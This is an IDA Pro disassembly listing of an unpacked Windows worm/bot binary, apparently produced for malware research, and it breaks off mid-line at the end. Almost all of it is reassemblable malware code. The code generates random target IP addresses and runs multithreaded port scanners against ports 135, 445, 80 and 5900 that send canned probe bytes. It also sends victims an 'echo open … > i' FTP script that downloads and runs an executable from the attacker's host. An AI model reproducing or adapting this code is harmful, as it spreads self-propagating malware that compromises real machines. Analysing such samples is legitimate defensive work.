; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 5B359CD0EBEEAC6C423D0150B94523A0 ; File Name : u:\work\5b359cd0ebeeac6c423d0150b94523a0_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00233000 (2306048.) ; Section size in file : 00233000 (2306048.) ; Offset to raw data for section: 00001000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_text, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame public start start proc near ; CODE XREF: sub_403B2C+41DBp var_2000 = byte ptr -2000h var_1000 = byte ptr -1000h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, 2000h call sub_4220C0 push ebx push edi push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" lea eax, [ebp+var_1000] push offset aSStats ; "%s (Stats):" push eax xor ebx, ebx call sub_422063 add esp, 0Ch cmp dword_432088, ebx mov edi, 1000h jz short loc_401078 push esi mov esi, offset dword_432090 loc_40103D: ; CODE XREF: start+75j mov eax, [esi] add ebx, eax push eax lea eax, [esi-27h] push eax lea eax, [ebp+var_2000] push offset aSD ; " (%s: %d)," push eax call sub_422063 lea eax, [ebp+var_2000] push edi push eax lea eax, [ebp+var_1000] push eax call sub_421F40 add esi, 48h add esp, 1Ch cmp dword ptr [esi-8], 0 jnz short loc_40103D pop esi loc_401078: ; CODE XREF: start+35j push 0 push dword_4554F0 call dword_42F164 ; GetTickCount push eax call sub_418A1B push eax push ebx push dword_455398 lea eax, [ebp+var_2000] push offset aEftpdDTotalDIn ; " (EFTPD): (%d), Total -> (%d in %s)" push eax call sub_422063 lea eax, [ebp+var_2000] push edi push eax lea eax, [ebp+var_1000] push eax call sub_421F40 add esp, 2Ch cmp ebx, [ebp+arg_10] lea eax, [ebp+var_1000] pop edi pop ebx push eax push [ebp+arg_4] push [ebp+arg_0] jg short loc_4010D6 cmp [ebp+arg_8], 0 jnz short loc_4010DD loc_4010D6: ; CODE XREF: start+CEj call sub_4104F6 jmp short loc_4010E2 ; --------------------------------------------------------------------------- loc_4010DD: ; CODE XREF: start+D4j call sub_410491 loc_4010E2: ; CODE XREF: start+DBj add esp, 0Ch leave retn start endp ; =============== S U B R O U T I N E ======================================= sub_4010E7 proc near ; CODE XREF: sub_401160+F6p ; sub_401160+FCp ... push esi push edi call dword_42F164 ; GetTickCount push eax call sub_4220EF pop ecx call sub_4220FC push 1Ah pop edi cdq mov ecx, edi push 61h idiv ecx pop esi add edx, esi push edx call sub_4220FC cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_4220FC cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_4220FC cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_4220FC cdq mov ecx, edi idiv ecx add edx, esi push edx call sub_4220FC cdq idiv edi add edx, esi mov esi, offset dword_44D3B0 push edx push offset aCCCCCC ; "%c%c%c%c%c%c" push esi call sub_422063 add esp, 20h mov eax, esi pop edi pop esi retn sub_4010E7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401160 proc near ; CODE XREF: .text:004031C4p ; sub_40B63F+13Cp ... var_6A0 = byte ptr -6A0h var_2A0 = byte ptr -2A0h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_D0 = dword ptr 0D8h push ebp mov ebp, esp sub esp, 6A0h push ebx push esi push edi xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4221F0 add esp, 0Ch lea eax, [ebp+arg_0] mov [ebp+var_10], 2 push eax call dword_45434C ; inet_addr push [ebp+arg_D0] mov [ebp+var_C], eax call dword_454314 ; ntohs push ebx push 1 push 2 mov [ebp+var_E], ax call dword_454394 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_4012EA lea eax, [ebp+var_10] push 10h push eax push edi call dword_4542AC ; connect cmp eax, 0FFFFFFFFh jz loc_4012EA push ebx lea eax, [ebp+var_6A0] push 400h push eax push edi call dword_454330 ; recv call sub_4220FC push 9 pop esi cdq mov ecx, esi idiv ecx push edx call sub_4220FC cdq mov ecx, esi idiv ecx push edx call sub_4220FC cdq mov ecx, esi idiv ecx push edx call sub_4220FC cdq mov ecx, esi idiv ecx push edx call sub_4220FC cdq idiv esi lea eax, [ebp+var_110] push edx push offset loc_43903C push offset aSDDDDD_exe ; "%s%d%d%d%d%d.exe" push eax call sub_422063 lea eax, [ebp+arg_0] push eax call sub_414173 add esp, 24h mov esi, offset dword_455388 test eax, eax jnz short loc_401248 mov esi, offset dword_4552D0 loc_401248: ; CODE XREF: sub_401160+E1j lea eax, [ebp+var_110] push eax lea eax, [ebp+var_110] push eax call sub_4010E7 push eax call sub_4010E7 push eax lea eax, [ebp+var_2A0] push dword_44D680 push esi mov esi, 190h push offset aEchoOpenSDIEch ; "echo open %s %d > i &echo user %s %s >>"... push esi push eax call sub_42219B add esp, 24h lea eax, [ebp+var_2A0] push ebx push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_2A0] push eax push edi call dword_454350 ; send cmp eax, 0FFFFFFFFh jz short loc_4012EA push esi call dword_42F15C ; Sleep lea eax, [ebp+var_110] push eax push offset aS_4 ; "%s\r\n" lea eax, [ebp+var_2A0] push esi push eax call sub_42219B add esp, 10h lea eax, [ebp+var_2A0] push ebx push eax call sub_422120 pop ecx push eax lea eax, [ebp+var_2A0] push eax push edi call dword_454350 ; send cmp eax, 0FFFFFFFFh jnz short loc_4012EE loc_4012EA: ; CODE XREF: sub_401160+50j ; sub_401160+66j ... xor eax, eax jmp short loc_40130C ; --------------------------------------------------------------------------- loc_4012EE: ; CODE XREF: sub_401160+188j push ebx lea eax, [ebp+var_6A0] push 400h push eax push edi call dword_454330 ; recv push edi call dword_4543AC ; closesocket xor eax, eax inc eax loc_40130C: ; CODE XREF: sub_401160+18Cj pop edi pop esi pop ebx leave retn sub_401160 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401311 proc near ; CODE XREF: sub_403B2C+44C0p ; sub_403B2C+6F79p var_20 = byte ptr -20h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h cmp [ebp+arg_0], 0 push ebx push esi push edi jz loc_401401 push 10h mov ebx, offset dword_44D670 push 0 push ebx call sub_4221F0 push 10h lea eax, [ebp+var_20] push [ebp+arg_0] push eax call sub_4222F0 mov esi, offset a__0 ; "." lea eax, [ebp+var_20] push esi push eax call sub_422248 add esp, 20h mov [ebp+var_10], eax test eax, eax jz loc_401401 xor edi, edi inc edi loc_401361: ; CODE XREF: sub_401311+6Cj push esi push 0 call sub_422248 xor edx, edx pop ecx cmp eax, edx pop ecx mov [ebp+edi*4+var_10], eax jz loc_401401 inc edi cmp edi, 4 jl short loc_401361 cmp [ebp+arg_8], 1 jnz short loc_4013AB cmp [ebp+arg_4], edx mov ecx, offset asc_432D3C ; "x" mov eax, offset a0 ; "0" mov esi, ecx jnz short loc_4013A7 mov esi, eax mov edx, eax loc_40139A: ; CODE XREF: sub_401311+98j cmp [ebp+arg_4], 0 jz short loc_4013A2 mov eax, ecx loc_4013A2: ; CODE XREF: sub_401311+8Dj push esi push edx push eax jmp short loc_4013EC ; --------------------------------------------------------------------------- loc_4013A7: ; CODE XREF: sub_401311+83j mov edx, ecx jmp short loc_40139A ; --------------------------------------------------------------------------- loc_4013AB: ; CODE XREF: sub_401311+72j cmp [ebp+arg_8], 2 jnz short loc_4013D0 cmp [ebp+arg_4], edx mov ecx, offset asc_432D3C ; "x" mov eax, offset a0 ; "0" mov edx, ecx jnz short loc_4013C4 mov edx, eax loc_4013C4: ; CODE XREF: sub_401311+AFj cmp [ebp+arg_4], 0 jz short loc_4013CC mov eax, ecx loc_4013CC: ; CODE XREF: sub_401311+B7j push edx push eax jmp short loc_4013E9 ; --------------------------------------------------------------------------- loc_4013D0: ; CODE XREF: sub_401311+9Ej cmp [ebp+arg_8], 3 jnz short loc_401401 cmp [ebp+arg_4], edx mov eax, offset asc_432D3C ; "x" jnz short loc_4013E5 mov eax, offset a0 ; "0" loc_4013E5: ; CODE XREF: sub_401311+CDj push eax push [ebp+var_8] loc_4013E9: ; CODE XREF: sub_401311+BDj push [ebp+var_C] loc_4013EC: ; CODE XREF: sub_401311+94j push [ebp+var_10] push offset aS_S_S_S ; "%s.%s.%s.%s" push ebx call sub_422063 add esp, 18h mov eax, ebx jmp short loc_401403 ; --------------------------------------------------------------------------- loc_401401: ; CODE XREF: sub_401311+Dj ; sub_401311+47j ... xor eax, eax loc_401403: ; CODE XREF: sub_401311+EEj pop edi pop esi pop ebx leave retn sub_401311 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401408 proc near ; CODE XREF: sub_403B2C+4227p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push 8 call sub_41C235 test eax, eax pop ecx jle short loc_401450 mov eax, [ebp+arg_C] mov eax, dword_44C588[eax*8] push eax call dword_45439C ; inet_ntoa cmp [ebp+arg_8], 0 push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSCipS ; "%s (CIP): %s" push [ebp+arg_4] push [ebp+arg_0] jnz short loc_401449 call sub_4104F6 loc_401444: ; CODE XREF: sub_401408+46j add esp, 14h pop ebp retn ; --------------------------------------------------------------------------- loc_401449: ; CODE XREF: sub_401408+35j call sub_410491 jmp short loc_401444 ; --------------------------------------------------------------------------- loc_401450: ; CODE XREF: sub_401408+Dj cmp [ebp+arg_8], 0 push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSInactive ; "%s Inactive" push [ebp+arg_4] push [ebp+arg_0] jnz short loc_40146D call sub_4104F6 jmp short loc_401472 ; --------------------------------------------------------------------------- loc_40146D: ; CODE XREF: sub_401408+5Cj call sub_410491 loc_401472: ; CODE XREF: sub_401408+63j add esp, 10h pop ebp retn sub_401408 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401477 proc near ; CODE XREF: sub_40178D+52p var_C = dword ptr -0Ch var_4 = byte ptr -4 arg_10 = byte ptr 18h arg_AC = dword ptr 0B4h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh arg_B8 = dword ptr 0C0h arg_CC = dword ptr 0D4h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_AC] push edi cmp eax, 0FFFFFFFFh jz loc_4015B1 lea eax, [eax+eax*8] xor edi, edi loc_401490: ; DATA XREF: .text:off_438DD0o cmp dword_432094[eax*8], edi jz loc_4015B1 push 9 call sub_41C235 test eax, eax pop ecx jnz loc_4015B1 cmp dword_455600, edi jnz short loc_4014D6 call dword_42F164 ; GetTickCount push eax call sub_4220EF mov [esp+0Ch+var_C], 13BAh push 410h call sub_41409E pop ecx pop ecx jmp short loc_4014DD ; --------------------------------------------------------------------------- loc_4014D6: ; CODE XREF: sub_401477+3Cj movzx eax, word_439010 loc_4014DD: ; CODE XREF: sub_401477+5Dj push esi mov esi, offset dword_44D3C4 push 104h push esi push edi mov dword_44D5D4, eax mov dword_44D5D0, edi call dword_42F154 ; GetModuleFileNameA push 103h push offset loc_439030 push offset dword_44D4C8 call sub_4222F0 lea eax, [ebp+arg_10] push 7Fh push eax push offset dword_44D5D8 mov dword_44D664, edi call sub_4222F0 mov eax, [ebp+arg_B0] push esi push dword_44D5D4 mov dword_44D65C, eax mov eax, [ebp+arg_B8] mov dword_44D660, eax mov eax, [ebp+arg_B4] mov dword_44D658, eax mov eax, [ebp+arg_CC] push offset aPnmnw_7rscg0 ; "PnmNw.7RScG0" push offset aSStartedPortIF ; "%s Started,Port: (%i), File: (%s)" push 9 mov dword_44D668, eax call sub_41BED7 add esp, 2Ch mov dword_44D5CC, eax lea eax, [ebp+var_4] push eax push edi push offset dword_44D3C0 push offset sub_402190 push edi push edi call dword_42F158 ; CreateThread mov ecx, dword_44D5CC pop esi imul ecx, 1018h cmp eax, edi mov dword_46D414[ecx], eax jz short loc_4015B1 jmp short loc_4015A9 ; --------------------------------------------------------------------------- loc_4015A1: ; CODE XREF: sub_401477+138j push 32h call dword_42F15C ; Sleep loc_4015A9: ; CODE XREF: sub_401477+128j cmp dword_44D664, edi jz short loc_4015A1 loc_4015B1: ; CODE XREF: sub_401477+Ej ; sub_401477+20j ... pop edi leave retn sub_401477 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B4 proc near ; CODE XREF: sub_401906:loc_40196Ep arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi push 4 lea esi, ds:44C588h[eax*8] lea eax, [ebp+arg_0] push esi push eax call sub_4223F0 add esp, 0Ch push [ebp+arg_0] call dword_454228 ; ntohl inc eax push eax mov [ebp+arg_0], eax call dword_454310 ; ntohl mov [ebp+arg_0], eax lea eax, [ebp+arg_0] push 4 push eax push esi call sub_4223F0 mov eax, [esi] add esp, 0Ch pop esi pop ebp retn sub_4015B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015FC proc near ; CODE XREF: sub_401906+60p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push edi or edi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], edi mov [ebp+var_8], edi mov [ebp+var_4], edi mov [ebp+var_10], edi call sub_422120 cmp eax, 0Fh pop ecx jbe short loc_401627 xor eax, eax jmp loc_4016B1 ; --------------------------------------------------------------------------- loc_401627: ; CODE XREF: sub_4015FC+22j lea eax, [ebp+var_10] push esi push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_422725 add esp, 18h cmp [ebp+var_C], edi mov esi, 0DFh jnz short loc_40165F call sub_4220FC cdq mov ecx, esi idiv ecx mov [ebp+var_C], edx loc_40165F: ; CODE XREF: sub_4015FC+54j cmp [ebp+var_8], edi jnz short loc_401671 call sub_4220FC cdq mov ecx, esi idiv ecx mov [ebp+var_8], edx loc_401671: ; CODE XREF: sub_4015FC+66j cmp [ebp+var_4], edi jnz short loc_401683 call sub_4220FC cdq mov ecx, esi idiv ecx mov [ebp+var_4], edx loc_401683: ; CODE XREF: sub_4015FC+78j mov edx, [ebp+var_10] cmp edx, edi jnz short loc_401692 call sub_4220FC cdq idiv esi loc_401692: ; CODE XREF: sub_4015FC+8Cj shl edx, 8 add edx, [ebp+var_4] mov eax, [ebp+var_C] mov ecx, [ebp+arg_4] pop esi shl edx, 8 add edx, [ebp+var_8] shl edx, 8 add eax, edx mov dword_44C588[ecx*8], eax loc_4016B1: ; CODE XREF: sub_4015FC+26j pop edi leave retn sub_4015FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4016B4 proc near ; CODE XREF: sub_401906+77p ; sub_401AB3+32p ... var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push offset dword_4552D0 push [ebp+arg_0] call dword_45439C ; inet_ntoa push eax call sub_422760 pop ecx test eax, eax pop ecx jz loc_401786 push offset dword_455388 push [ebp+arg_0] call dword_45439C ; inet_ntoa push eax call sub_422760 pop ecx test eax, eax pop ecx jz loc_401786 xor edi, edi xor ebx, ebx inc edi push ebx push edi push 2 mov [ebp+var_4], edi call dword_454394 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_401786 mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_454314 ; ntohs mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_4543B0 ; ioctlsocket lea eax, [ebp+var_1C] push 10h push eax push esi call dword_4542AC ; connect mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_4542FC ; select push esi mov edi, eax call dword_4543AC ; closesocket xor eax, eax cmp edi, ebx setnle al jmp short loc_401788 ; --------------------------------------------------------------------------- loc_401786: ; CODE XREF: sub_4016B4+24j ; sub_4016B4+42j ... xor eax, eax loc_401788: ; CODE XREF: sub_4016B4+D0j pop edi pop esi pop ebx leave retn sub_4016B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40178D proc near ; DATA XREF: sub_403B2C+4661o ; sub_403B2C+70EEo var_CC = byte ptr -0CCh var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 33h xor ebx, ebx pop ecx mov esi, eax lea edi, [ebp+var_CC] inc ebx rep movsd mov [eax+0C0h], ebx lea eax, [ebp+var_CC] push eax call dword_45434C ; inet_addr push [ebp+var_4] mov ecx, [ebp+var_30] lea esi, [ebp+var_CC] sub esp, 0CCh mov dword_44C588[ecx*8], eax push 33h pop ecx mov edi, esp rep movsd call sub_401477 push 8 call sub_41C235 add esp, 0D4h cmp eax, ebx jnz short loc_401818 mov esi, offset dword_44D398 push esi call dword_42F148 ; RtlDeleteCriticalSection push 80000400h push esi call dword_42F14C ; InitializeCriticalSectionAndSpinCount test eax, eax jnz short loc_401818 pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_401818: ; CODE XREF: sub_40178D+66j ; sub_40178D+82j mov eax, [ebp+var_30] cmp [ebp+var_24], ebx mov esi, dword_42F15C mov edi, ebx mov dword_44C58C[eax*8], ebx jb short loc_4018A7 loc_40182F: ; CODE XREF: sub_40178D+118j push edi lea eax, [ebp+var_CC] push [ebp+var_30] mov [ebp+var_28], edi push [ebp+var_3C] push eax push offset aRaMr15qabm1 ; "RA/Mr15qAbm1" push offset aSSDScanthreadD ; "%s (%s:%d), ScanThread: (%d), SubThread"... push 8 call sub_41BED7 mov [ebp+var_2C], eax imul eax, 1018h mov ecx, [ebp+var_30] add esp, 1Ch mov dword_46D40C[eax], ecx xor eax, eax push eax lea ecx, [ebp+var_CC] push eax push ecx push offset sub_401906 push eax push eax call dword_42F158 ; CreateThread mov ecx, [ebp+var_2C] imul ecx, 1018h test eax, eax mov dword_46D414[ecx], eax jz short loc_40189D jmp short loc_401897 ; --------------------------------------------------------------------------- loc_401893: ; CODE XREF: sub_40178D+10Ej push 1Eh call esi ; dword_42F15C loc_401897: ; CODE XREF: sub_40178D+104j cmp [ebp+var_8], 0 jz short loc_401893 loc_40189D: ; CODE XREF: sub_40178D+102j push 1Eh call esi ; dword_42F15C inc edi cmp edi, [ebp+var_24] jbe short loc_40182F loc_4018A7: ; CODE XREF: sub_40178D+A0j mov eax, [ebp+var_34] test eax, eax jz short loc_4018C0 imul eax, 0EA60h push eax call esi ; dword_42F15C jmp short loc_4018CC ; --------------------------------------------------------------------------- loc_4018B9: ; CODE XREF: sub_40178D+13Dj push 7D0h call esi ; dword_42F15C loc_4018C0: ; CODE XREF: sub_40178D+11Fj mov eax, [ebp+var_30] cmp dword_44C58C[eax*8], ebx jz short loc_4018B9 loc_4018CC: ; CODE XREF: sub_40178D+12Aj mov eax, [ebp+var_30] push 3E8h and dword_44C58C[eax*8], 0 call esi ; dword_42F15C push 8 call sub_41C235 cmp eax, ebx pop ecx jnz short loc_4018F5 push offset dword_44D398 call dword_42F148 ; RtlDeleteCriticalSection loc_4018F5: ; CODE XREF: sub_40178D+15Bj push [ebp+var_30] call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_40178D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401906 proc near ; DATA XREF: sub_40178D+E4o var_1A0 = byte ptr -1A0h var_190 = byte ptr -190h var_10C = byte ptr -10Ch var_F0 = dword ptr -0F0h var_EC = dword ptr -0ECh var_E8 = dword ptr -0E8h var_E0 = dword ptr -0E0h var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1A0h mov eax, [ebp+arg_0] push ebx push esi push edi push 33h mov esi, eax pop ecx lea edi, [ebp+var_D0] rep movsd mov ecx, [ebp+var_8] mov esi, [ebp+var_30] mov [ebp+arg_0], ecx mov dword ptr [eax+0C4h], 1 mov [ebp+var_4], esi call dword_42F164 ; GetTickCount push eax call sub_4220EF mov eax, esi pop ecx imul eax, 1018h lea ebx, dword_46D40C[eax] jmp loc_401A5B ; --------------------------------------------------------------------------- loc_401958: ; CODE XREF: sub_401906+15Fj cmp [ebp+var_14], 0 push eax jz short loc_40196E lea eax, [ebp+var_D0] push eax call sub_4015FC pop ecx jmp short loc_401973 ; --------------------------------------------------------------------------- loc_40196E: ; CODE XREF: sub_401906+57j call sub_4015B4 loc_401973: ; CODE XREF: sub_401906+66j pop ecx mov edi, eax push [ebp+var_3C] push [ebp+var_40] push edi call sub_4016B4 add esp, 0Ch cmp eax, 1 jnz loc_401A50 cmp [ebp+var_24], 0FFFFFFFFh jnz short loc_4019AC mov edi, offset dword_44D398 push edi call dword_42F140 ; RtlEnterCriticalSection push edi call dword_42F144 ; RtlLeaveCriticalSection jmp loc_401A50 ; --------------------------------------------------------------------------- loc_4019AC: ; CODE XREF: sub_401906+8Cj push edi call dword_45439C ; inet_ntoa push eax lea eax, [ebp+var_1A0] push eax call sub_422063 mov eax, [ebp+var_24] lea eax, [eax+eax*8] lea eax, ds:432050h[eax*8] push eax lea eax, [ebp+var_10C] push eax call sub_422063 lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_190] push eax call sub_422063 mov eax, [ebp+var_20] sub esp, 0B8h mov [ebp+var_DC], eax mov eax, [ebp+var_18] mov [ebp+var_D8], eax mov eax, [ebp+var_1C] mov [ebp+var_E0], eax mov eax, [ebp+var_40] push 34h mov [ebp+var_F0], eax mov eax, [ebp+var_24] pop ecx mov [ebp+var_EC], esi lea esi, [ebp+var_1A0] mov edi, esp push [ebp+arg_0] mov [ebp+var_E8], eax lea eax, [eax+eax*8] rep movsd lea ecx, [ebp+var_C0] push ecx call off_43208C[eax*8] mov esi, [ebp+var_4] add esp, 0D8h loc_401A50: ; CODE XREF: sub_401906+82j ; sub_401906+A1j push 7D0h call dword_42F15C ; Sleep loc_401A5B: ; CODE XREF: sub_401906+4Dj mov eax, [ebx] cmp dword_44C58C[eax*8], 0 jnz loc_401958 push esi call sub_41C059 pop ecx push 0 call dword_42F150 ; ExitThread sub_401906 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A7A proc near ; CODE XREF: sub_401AB3+14Cp ; sub_401AB3+175p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] xor esi, esi sub edi, [ebp+arg_C] test edi, edi jle short loc_401AA8 loc_401A8B: ; CODE XREF: sub_401A7A+2Cj push [ebp+arg_C] mov eax, [ebp+arg_0] add eax, esi push [ebp+arg_8] push eax call sub_4227F0 add esp, 0Ch test eax, eax jz short loc_401AAE inc esi cmp esi, edi jl short loc_401A8B loc_401AA8: ; CODE XREF: sub_401A7A+Fj xor eax, eax loc_401AAA: ; CODE XREF: sub_401A7A+37j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_401AAE: ; CODE XREF: sub_401A7A+27j xor eax, eax inc eax jmp short loc_401AAA sub_401A7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401AB3 proc near ; CODE XREF: sub_40B63F+16p ; .text:00411EA1p ... var_2010 = byte ptr -2010h var_200E = byte ptr -200Eh var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 2010h call sub_4220C0 mov eax, [ebp+arg_4] push esi dec eax push edi jz short loc_401B1B dec eax jz short loc_401B12 dec eax jz short loc_401AF6 dec eax jz short loc_401B0C dec eax jnz short loc_401B0C push 3 push 1388h push [ebp+arg_0] call dword_45434C ; inet_addr push eax call sub_4016B4 add esp, 0Ch test eax, eax jz short loc_401B0C push 3 pop eax jmp short loc_401B0E ; --------------------------------------------------------------------------- loc_401AF6: ; CODE XREF: sub_401AB3+19j push 3 push 50h loc_401AFA: ; CODE XREF: sub_401AB3+66j push [ebp+arg_0] call dword_45434C ; inet_addr push eax call sub_4016B4 add esp, 0Ch loc_401B0C: ; CODE XREF: sub_401AB3+1Cj ; sub_401AB3+1Fj ... xor eax, eax loc_401B0E: ; CODE XREF: sub_401AB3+41j ; sub_401AB3+192j pop edi pop esi leave retn ; --------------------------------------------------------------------------- loc_401B12: ; CODE XREF: sub_401AB3+16j push 3 push 170Ch jmp short loc_401AFA ; --------------------------------------------------------------------------- loc_401B1B: ; CODE XREF: sub_401AB3+13j push 6 push 1 push 2 call dword_454394 ; socket mov esi, eax or edi, 0FFFFFFFFh cmp esi, edi mov [ebp+arg_4], esi jz short loc_401B0C push ebx xor ebx, ebx push 10h lea eax, [ebp+var_10] push ebx push eax call sub_4221F0 add esp, 0Ch mov [ebp+var_10], 2 push 87h call dword_454314 ; ntohs push [ebp+arg_0] mov [ebp+var_E], ax call sub_4140CF pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push esi call dword_4542AC ; connect cmp eax, edi jz loc_401C39 push ebx push 48h push offset dword_432AE0 push esi call dword_454350 ; send cmp eax, edi jz loc_401C39 mov esi, 2000h push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_454330 ; recv cmp eax, edi jz loc_401C39 cmp [ebp+var_200E], 0Ch jnz short loc_401C39 push ebx push 18h push offset dword_432B2C push [ebp+arg_4] call dword_454350 ; send cmp eax, edi jz short loc_401C39 push ebx lea eax, [ebp+var_2010] push esi push eax push [ebp+arg_4] call dword_454330 ; recv mov esi, eax cmp esi, edi jz short loc_401C39 cmp [ebp+var_200E], 2 jnz short loc_401C39 push 10h push offset dword_432B48 lea eax, [ebp+var_2010] push esi push eax call sub_401A7A add esp, 10h test eax, eax jz short loc_401C19 xor eax, eax cmp esi, 12Ch setnl al inc eax jmp short loc_401C37 ; --------------------------------------------------------------------------- loc_401C19: ; CODE XREF: sub_401AB3+156j push 10h push offset dword_432B5C lea eax, [ebp+var_2010] push esi push eax call sub_401A7A add esp, 10h neg eax sbb eax, eax and eax, 3 loc_401C37: ; CODE XREF: sub_401AB3+164j mov ebx, eax loc_401C39: ; CODE XREF: sub_401AB3+C2j ; sub_401AB3+D9j ... push [ebp+arg_4] call dword_4543AC ; closesocket mov eax, ebx pop ebx jmp loc_401B0E sub_401AB3 endp ; =============== S U B R O U T I N E ======================================= sub_401C4A proc near ; CODE XREF: sub_40203F+B5p push offset aNtdll_dll ; "ntdll.dll" call dword_42F138 ; LoadLibraryA test eax, eax mov dword_44D68C, eax jz short loc_401C96 push esi mov esi, dword_42F13C push offset aRtlinitunicode ; "RtlInitUnicodeString" push eax call esi ; dword_42F13C push offset aZwopensection ; "ZwOpenSection" mov dword_44D684, eax push dword_44D68C call esi ; dword_42F13C cmp dword_44D684, 0 mov dword_44D688, eax pop esi jz short loc_401C96 test eax, eax jz short loc_401C96 xor eax, eax inc eax retn ; --------------------------------------------------------------------------- loc_401C96: ; CODE XREF: sub_401C4A+12j ; sub_401C4A+42j ... xor eax, eax retn sub_401C4A endp ; =============== S U B R O U T I N E ======================================= sub_401C99 proc near ; CODE XREF: sub_40203F+12Cp ; sub_40203F:loc_402184p mov eax, dword_44D68C test eax, eax jz short loc_401CA9 push eax call dword_42F0BC ; FreeLibrary loc_401CA9: ; CODE XREF: 